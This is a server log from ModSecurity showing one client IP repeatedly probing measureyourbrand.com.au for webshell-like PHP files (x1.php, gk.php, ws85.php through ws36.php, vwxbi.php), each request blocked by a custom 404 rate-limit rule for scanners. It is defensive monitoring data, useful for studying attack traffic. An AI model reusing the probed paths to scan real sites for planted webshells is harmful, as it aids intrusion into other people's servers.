[Tue Mar 31 00:22:14.666003 2026] [:error] [pid 31705:tid 31730] [client 4.205.211.88:39780] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "acqjNrh0Asyt0lXzJSw7ZAAAAhc"]
[Tue Mar 31 00:22:15.107683 2026] [:error] [pid 60745:tid 60757] [client 4.205.211.88:39817] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "acqjNyQDBn75QnHaPb9mrgAAAEg"]
[Tue Mar 31 00:22:15.521763 2026] [:error] [pid 60745:tid 60758] [client 4.205.211.88:39866] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "acqjNyQDBn75QnHaPb9msAAAAEk"]
[Tue Mar 31 00:22:15.931951 2026] [:error] [pid 31735:tid 31752] [client 4.205.211.88:39891] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "acqjNz-CFgIllBeFWWFOiAAAAk8"]
[Tue Mar 31 00:22:16.345442 2026] [:error] [pid 60746:tid 60781] [client 4.205.211.88:39882] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acqjOJ4kQrgjDdAbQCpGtQAAAIU"]
[Tue Mar 31 00:22:16.757287 2026] [:error] [pid 31735:tid 31743] [client 4.205.211.88:39804] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acqjOD-CFgIllBeFWWFOigAAAkY"]
[Tue Mar 31 00:22:17.189582 2026] [:error] [pid 60745:tid 60756] [client 4.205.211.88:39864] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acqjOSQDBn75QnHaPb9mtAAAAEc"]
[Tue Mar 31 00:22:17.604181 2026] [:error] [pid 60746:tid 60789] [client 4.205.211.88:39875] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "acqjOZ4kQrgjDdAbQCpGuwAAAI0"]
[Tue Mar 31 00:22:18.015744 2026] [:error] [pid 60745:tid 60772] [client 4.205.211.88:39933] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acqjOiQDBn75QnHaPb9mtQAAAFc"]
[Tue Mar 31 00:22:18.439543 2026] [:error] [pid 60746:tid 60795] [client 4.205.211.88:39827] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acqjOp4kQrgjDdAbQCpGvgAAAJM"]
[Tue Mar 31 00:22:18.861156 2026] [:error] [pid 60746:tid 60786] [client 4.205.211.88:39917] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acqjOp4kQrgjDdAbQCpGwQAAAIo"]
[Tue Mar 31 00:22:19.274858 2026] [:error] [pid 31544:tid 31562] [client 4.205.211.88:39876] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acqjO9tfPe4lu-8385d7bwAAAVA"]
[Tue Mar 31 00:22:19.690857 2026] [:error] [pid 63557:tid 63571] [client 4.205.211.88:39895] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acqjO64QNVlzYgEvIjnkpwAAAQw"]
[Tue Mar 31 00:22:20.108666 2026] [:error] [pid 31705:tid 31714] [client 4.205.211.88:39756] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acqjPLh0Asyt0lXzJSw7ZwAAAgc"]
[Tue Mar 31 00:22:20.528015 2026] [:error] [pid 60747:tid 60817] [client 4.205.211.88:39851] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acqjPAU3IY-cCpy_-zFeTQAAAM4"]
[Tue Mar 31 00:22:20.943280 2026] [:error] [pid 31735:tid 31759] [client 4.205.211.88:39874] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws82.php"] [unique_id "acqjPD-CFgIllBeFWWFOjwAAAlY"]
[Tue Mar 31 00:22:21.356075 2026] [:error] [pid 31735:tid 31752] [client 4.205.211.88:39899] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "acqjPT-CFgIllBeFWWFOlAAAAk8"]
[Tue Mar 31 00:22:21.773056 2026] [:error] [pid 60746:tid 60788] [client 4.205.211.88:39836] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "acqjPZ4kQrgjDdAbQCpGxgAAAIw"]
[Tue Mar 31 00:22:22.186363 2026] [:error] [pid 60746:tid 60789] [client 4.205.211.88:39788] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "acqjPp4kQrgjDdAbQCpGyAAAAI0"]
[Tue Mar 31 00:22:22.618118 2026] [:error] [pid 60746:tid 60792] [client 4.205.211.88:39902] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "acqjPp4kQrgjDdAbQCpGywAAAJA"]
[Tue Mar 31 00:22:23.041626 2026] [:error] [pid 63557:tid 63577] [client 4.205.211.88:39815] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "acqjP64QNVlzYgEvIjnkrQAAARI"]
[Tue Mar 31 00:22:23.468766 2026] [:error] [pid 63557:tid 63583] [client 4.205.211.88:39858] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "acqjP64QNVlzYgEvIjnkrgAAARg"]
[Tue Mar 31 00:22:23.882226 2026] [:error] [pid 60745:tid 60763] [client 4.205.211.88:39792] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "acqjPyQDBn75QnHaPb9mugAAAE4"]
[Tue Mar 31 00:22:24.308910 2026] [:error] [pid 60745:tid 60766] [client 4.205.211.88:39904] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "acqjQCQDBn75QnHaPb9mvAAAAFE"]
[Tue Mar 31 00:22:24.720419 2026] [:error] [pid 60746:tid 60778] [client 4.205.211.88:39768] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "acqjQJ4kQrgjDdAbQCpG0gAAAII"]
[Tue Mar 31 00:22:25.137854 2026] [:error] [pid 60745:tid 60764] [client 4.205.211.88:39747] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "acqjQSQDBn75QnHaPb9mvQAAAE8"]
[Tue Mar 31 00:22:25.559585 2026] [:error] [pid 60746:tid 60800] [client 4.205.211.88:39776] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "acqjQZ4kQrgjDdAbQCpG1wAAAJg"]
[Tue Mar 31 00:22:25.977453 2026] [:error] [pid 60745:tid 60749] [client 4.205.211.88:39763] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "acqjQSQDBn75QnHaPb9mwAAAAEA"]
[Tue Mar 31 00:22:26.409983 2026] [:error] [pid 60745:tid 60773] [client 4.205.211.88:39790] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws50.php"] [unique_id "acqjQiQDBn75QnHaPb9mwQAAAFg"]
[Tue Mar 31 00:22:26.825393 2026] [:error] [pid 60746:tid 60788] [client 4.205.211.88:39784] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws50.php"] [unique_id "acqjQp4kQrgjDdAbQCpG3QAAAIw"]
[Tue Mar 31 00:22:27.238473 2026] [:error] [pid 60746:tid 60800] [client 4.205.211.88:39785] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws50.php"] [unique_id "acqjQ54kQrgjDdAbQCpG4AAAAJg"]
[Tue Mar 31 00:22:27.659653 2026] [:error] [pid 60746:tid 60786] [client 4.205.211.88:39825] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws50.php"] [unique_id "acqjQ54kQrgjDdAbQCpG5AAAAIo"]
[Tue Mar 31 00:22:28.074283 2026] [:error] [pid 31673:tid 31696] [client 4.205.211.88:39863] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws44.php"] [unique_id "acqjRBV3ylEnW1IQOCnypgAAAdU"]
[Tue Mar 31 00:22:28.491498 2026] [:error] [pid 31577:tid 31581] [client 4.205.211.88:39764] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws44.php"] [unique_id "acqjRHOcPMUnrUQjB4JczwAAAYI"]
[Tue Mar 31 00:22:28.907578 2026] [:error] [pid 31577:tid 31594] [client 4.205.211.88:39819] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws44.php"] [unique_id "acqjRHOcPMUnrUQjB4Jc0wAAAY8"]
[Tue Mar 31 00:22:29.320151 2026] [:error] [pid 60747:tid 60804] [client 4.205.211.88:39930] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws44.php"] [unique_id "acqjRQU3IY-cCpy_-zFeUQAAAME"]
[Tue Mar 31 00:22:29.733303 2026] [:error] [pid 63557:tid 63576] [client 4.205.211.88:39887] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acqjRa4QNVlzYgEvIjnktQAAARE"]
[Tue Mar 31 00:22:30.149967 2026] [:error] [pid 60747:tid 60822] [client 4.205.211.88:39862] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acqjRgU3IY-cCpy_-zFeUgAAANM"]
[Tue Mar 31 00:22:30.569802 2026] [:error] [pid 60747:tid 60823] [client 4.205.211.88:39838] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acqjRgU3IY-cCpy_-zFeVAAAANQ"]
[Tue Mar 31 00:22:30.984284 2026] [:error] [pid 60835:tid 60846] [client 4.205.211.88:39765] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws43.php"] [unique_id "acqjRgIOJ4Lc0iJVRzwYRAAAAAk"]
[Tue Mar 31 00:22:31.394138 2026] [:error] [pid 60835:tid 60845] [client 4.205.211.88:39711] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acqjRwIOJ4Lc0iJVRzwYRQAAAAg"]
[Tue Mar 31 00:22:31.813074 2026] [:error] [pid 31577:tid 31600] [client 4.205.211.88:39847] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acqjR3OcPMUnrUQjB4Jc1wAAAZU"]
[Tue Mar 31 00:22:32.228520 2026] [:error] [pid 60746:tid 60790] [client 4.205.211.88:39870] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acqjSJ4kQrgjDdAbQCpG8AAAAI4"]
[Tue Mar 31 00:22:32.643761 2026] [:error] [pid 31705:tid 31711] [client 4.205.211.88:39922] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "acqjSLh0Asyt0lXzJSw7cwAAAgQ"]
[Tue Mar 31 00:22:33.055680 2026] [:error] [pid 31577:tid 31596] [client 4.205.211.88:39757] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acqjSXOcPMUnrUQjB4Jc2wAAAZE"]
[Tue Mar 31 00:22:33.468601 2026] [:error] [pid 31577:tid 31581] [client 4.205.211.88:39786] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acqjSXOcPMUnrUQjB4Jc3AAAAYI"]
[Tue Mar 31 00:22:33.880549 2026] [:error] [pid 31544:tid 31567] [client 4.205.211.88:39845] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acqjSdtfPe4lu-8385d7dgAAAVU"]
[Tue Mar 31 00:22:34.300865 2026] [:error] [pid 60745:tid 60766] [client 4.205.211.88:39859] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws40.php"] [unique_id "acqjSiQDBn75QnHaPb9myAAAAFE"]
[Tue Mar 31 00:22:34.711420 2026] [:error] [pid 31673:tid 31691] [client 4.205.211.88:39767] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws36.php"] [unique_id "acqjShV3ylEnW1IQOCnyqAAAAdA"]
[Tue Mar 31 00:22:35.124066 2026] [:error] [pid 31735:tid 31759] [client 4.205.211.88:39793] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws36.php"] [unique_id "acqjSz-CFgIllBeFWWFOngAAAlY"]
[Tue Mar 31 00:22:35.542533 2026] [:error] [pid 31544:tid 31556] [client 4.205.211.88:39822] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws36.php"] [unique_id "acqjS9tfPe4lu-8385d7dwAAAUo"]
[Tue Mar 31 00:22:35.962890 2026] [:error] [pid 60835:tid 60851] [client 4.205.211.88:39781] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws36.php"] [unique_id "acqjSwIOJ4Lc0iJVRzwYTgAAAA4"]
[Tue Mar 31 00:22:36.382444 2026] [:error] [pid 31735:tid 31750] [client 4.205.211.88:39837] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vwxbi.php"] [unique_id "acqjTD-CFgIllBeFWWFOowAAAk0"]
[Tue Mar 31 00:22:36.798749 2026] [:error] [pid 60747:tid 60816] [client 4.205.211.88:39709] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vwxbi.php"] [unique_id "acqjTAU3IY-cCpy_-zFeVwAAAM0"]
[Tue Mar 31 00:22:37.220886 2026] [:error] [pid 60835:tid 60860] [client 4.205.211.88:39834] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vwxbi.php"] [unique_id "acqjTQIOJ4Lc0iJVRzwYUgAAABc"]
[Tue Mar 31 00:22:37.638349 2026] [:error] [pid 31705:tid 31721] [client 4.205.211.88:39746] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vwxbi.php"] [unique_id "acqjTbh0Asyt0lXzJSw7dQAAAg4"]
